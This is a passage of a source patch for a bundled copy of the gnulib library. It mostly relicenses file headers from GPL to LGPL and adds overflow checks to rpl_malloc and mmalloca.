<cdefs.h> does not attempt to include +- nonexistent files. Make it a syntax error, since Gnulib does not +- use __WORDSIZE now, and if Gnulib uses it later the syntax error +- will let us know that __WORDSIZE needs configuring. */ +-# ifndef __WORDSIZE +-# define __WORDSIZE %%% +-# endif ++/* Define __GNULIB_CDEFS so that <cdefs.h> does not attempt to include ++ nonexistent files. */ ++# define __GNULIB_CDEFS + /* Undef the macros unconditionally defined by our copy of glibc + <sys/cdefs.h>, so that they do not clash with any system-defined + versions. */ +--- a/gnulib/lib/limits.in.h ++++ b/gnulib/lib/limits.in.h +@@ -2,18 +2,18 @@ + + Copyright 2016-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public License +- as published by the Free Software Foundation; either version 3, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 + @PRAGMA_SYSTEM_HEADER@ +--- a/gnulib/lib/localcharset.c ++++ b/gnulib/lib/localcharset.c +@@ -2,18 +2,18 @@ + + Copyright (C) 2000-2006, 2008-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>. */ + +--- a/gnulib/lib/localcharset.h ++++ b/gnulib/lib/localcharset.h +@@ -2,18 +2,18 @@ + Copyright (C) 2000-2003, 2009-2021 Free Software Foundation, Inc. + This file is part of the GNU CHARSET Library. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _LOCALCHARSET_H + #define _LOCALCHARSET_H +--- a/gnulib/lib/locale.in.h ++++ b/gnulib/lib/locale.in.h +@@ -1,17 +1,17 @@ + /* A POSIX <locale.h>. + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 +--- a/gnulib/lib/localeconv.c ++++ b/gnulib/lib/localeconv.c +@@ -1,17 +1,17 @@ + /* Query locale dependent information for formatting numbers. + Copyright (C) 2012-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/malloc.c ++++ b/gnulib/lib/malloc.c +@@ -2,61 +2,50 @@ + + Copyright (C) 1997-1998, 2006-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* written by Jim Meyering and Bruno Haible */ + + #define _GL_USE_STDLIB_ALLOC 1 + #include <config.h> +-/* Only the AC_FUNC_MALLOC macro defines 'malloc' already in config.h. */ +-#ifdef malloc +-# define NEED_MALLOC_GNU 1 +-# undef malloc +-/* Whereas the gnulib module 'malloc-gnu' defines HAVE_MALLOC_GNU. */ +-#elif GNULIB_MALLOC_GNU && !HAVE_MALLOC_GNU +-# define NEED_MALLOC_GNU 1 +-#endif + + #include <stdlib.h> + +-/* A function definition is only needed if NEED_MALLOC_GNU is defined above +- or if the module 'malloc-posix' requests it. */ +-#if NEED_MALLOC_GNU || (GNULIB_MALLOC_POSIX && !HAVE_MALLOC_POSIX) ++#include <errno.h> + +-# include <errno.h> ++#include "xalloc-oversized.h" + +-/* Allocate an N-byte block of memory from the heap. +- If N is zero, allocate a 1-byte block. */ ++/* Allocate an N-byte block of memory from the heap, even if N is 0. */ + + void * + rpl_malloc (size_t n) + { +- void *result; +- +-# if NEED_MALLOC_GNU + if (n == 0) + n = 1; +-# endif + +- result = malloc (n); ++ if (xalloc_oversized (n, 1)) ++ { ++ errno = ENOMEM; ++ return NULL; ++ } ++ ++ void *result = malloc (n); + +-# if !HAVE_MALLOC_POSIX ++#if !HAVE_MALLOC_POSIX + if (result == NULL) + errno = ENOMEM; +-# endif ++#endif + + return result; + } +- +-#endif +--- a/gnulib/lib/malloc/dynarray-skeleton.c ++++ b/gnulib/lib/malloc/dynarray-skeleton.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray.h ++++ b/gnulib/lib/malloc/dynarray.h +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray_at_failure.c ++++ b/gnulib/lib/malloc/dynarray_at_failure.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray_emplace_enlarge.c ++++ b/gnulib/lib/malloc/dynarray_emplace_enlarge.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray_finalize.c ++++ b/gnulib/lib/malloc/dynarray_finalize.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray_resize.c ++++ b/gnulib/lib/malloc/dynarray_resize.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloc/dynarray_resize_clear.c ++++ b/gnulib/lib/malloc/dynarray_resize_clear.c +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/malloca.c ++++ b/gnulib/lib/malloca.c +@@ -2,18 +2,18 @@ + Copyright (C) 2003, 2006-2007, 2009-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2003, 2018. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #define _GL_USE_STDLIB_ALLOC 1 + #include <config.h> +@@ -21,6 +21,8 @@ + /* Specification. */ + #include "malloca.h" + ++#include "idx.h" ++#include "intprops.h" + #include "verify.h" + + /* The speed critical point in this file is freea() applied to an alloca() +@@ -45,9 +47,9 @@ mmalloca (size_t n) + #if HAVE_ALLOCA + /* Allocate one more word, used to determine the address to pass to freea(), + and room for the alignment ≡ sa_alignment_max mod 2*sa_alignment_max. */ +- size_t nplus = n + sizeof (small_t) + 2 * sa_alignment_max - 1; +- +- if (nplus >= n) ++ int plus = sizeof (small_t) + 2 * sa_alignment_max - 1; ++ idx_t nplus; ++ if (!INT_ADD_WRAPV (n, plus, &nplus) && !xalloc_oversized (nplus, 1)) + { + char *mem = (char *) malloc (nplus); + +--- a/gnulib/lib/malloca.h ++++ b/gnulib/lib/malloca.h +@@ -2,18 +2,18 @@ + Copyright (C) 2003-2007, 2009-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2003. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _MALLOCA_H + #define _MALLOCA_H +@@ -76,9 +76,10 @@ extern void freea (void *p); + + /* nmalloca(N,S) is an overflow-safe variant of malloca (N * S). + It allocates an array of N objects, each with S bytes of memory, +- on the stack. S must be positive and N must be nonnegative. ++ on the stack. N and S should be nonnegative and free of side effects. + The array must be freed using freea() before the function returns. */ +-#define nmalloca(n, s) (xalloc_oversized (n, s) ? NULL : malloca ((n) * (s))) ++#define nmalloca(n, s) \ ++ (xalloc_oversized (n, s) ? NULL : malloca ((n) * (size_t) (s))) + + + #ifdef __cplusplus +--- a/gnulib/lib/mbchar.c ++++ b/gnulib/lib/mbchar.c +@@ -1,16 +1,16 @@ + /* Copyright (C) 2001, 2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + +--- a/gnulib/lib/mbchar.h ++++ b/gnulib/lib/mbchar.h +@@ -1,17 +1,17 @@ + /* Multibyte character data type. + Copyright (C) 2001, 2005-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>. */ +--- a/gnulib/lib/mbiter.c ++++ b/gnulib/lib/mbiter.c +@@ -1,3 +1,21 @@ ++/* Iterating through multibyte strings: macros for multi-byte encodings. ++ ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + #include <config.h> ++ + #define MBITER_INLINE _GL_EXTERN_INLINE + #include "mbiter.h" +--- a/gnulib/lib/mbiter.h ++++ b/gnulib/lib/mbiter.h +@@ -1,17 +1,17 @@ + /* Iterating through multibyte strings: macros for multi-byte encodings. + Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>. */ +--- a/gnulib/lib/mbrtowc-impl-utf8.h ++++ b/gnulib/lib/mbrtowc-impl-utf8.h +@@ -1,17 +1,17 @@ + /* Convert multibyte character to wide character. + Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2008. */ +@@ -96,7 +96,7 @@ + + if ((c2 ^ 0x80) < 0x40 + && (c >= 0xf1 || c2 >= 0x90) +- && (c < 0xf4 || (c == 0xf4 && c2 < 0x90))) ++ && (c < 0xf4 || (/* c == 0xf4 && */ c2 < 0x90))) + { + if (m == 2) + goto incomplete; +--- a/gnulib/lib/mbrtowc-impl.h ++++ b/gnulib/lib/mbrtowc-impl.h +@@ -1,17 +1,17 @@ + /* Convert multibyte character to wide character. + Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2008. */ +--- a/gnulib/lib/mbrtowc.c ++++ b/gnulib/lib/mbrtowc.c +@@ -2,17 +2,17 @@ + Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2008. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbscasecmp.c ++++ b/gnulib/lib/mbscasecmp.c +@@ -3,17 +3,17 @@ + Written by Bruno Haible <bruno@clisp.org>, 2005, + based on earlier glibc code. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbschr.c ++++ b/gnulib/lib/mbschr.c +@@ -2,17 +2,17 @@ + Copyright (C) 2007-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2007. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbsinit.c ++++ b/gnulib/lib/mbsinit.c +@@ -2,17 +2,17 @@ + Copyright (C) 2008-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2008. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbslen.c ++++ b/gnulib/lib/mbslen.c +@@ -2,17 +2,17 @@ + Copyright (C) 2007-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2007. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbsncasecmp.c ++++ b/gnulib/lib/mbsncasecmp.c +@@ -3,17 +3,17 @@ + Written by Bruno Haible <bruno@clisp.org>, 2005, + based on earlier glibc code. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbsstr.c ++++ b/gnulib/lib/mbsstr.c +@@ -2,17 +2,17 @@ + Copyright (C) 2005-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2005. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbtowc-impl.h ++++ b/gnulib/lib/mbtowc-impl.h +@@ -2,17 +2,17 @@ + Copyright (C) 2011-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2011. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU 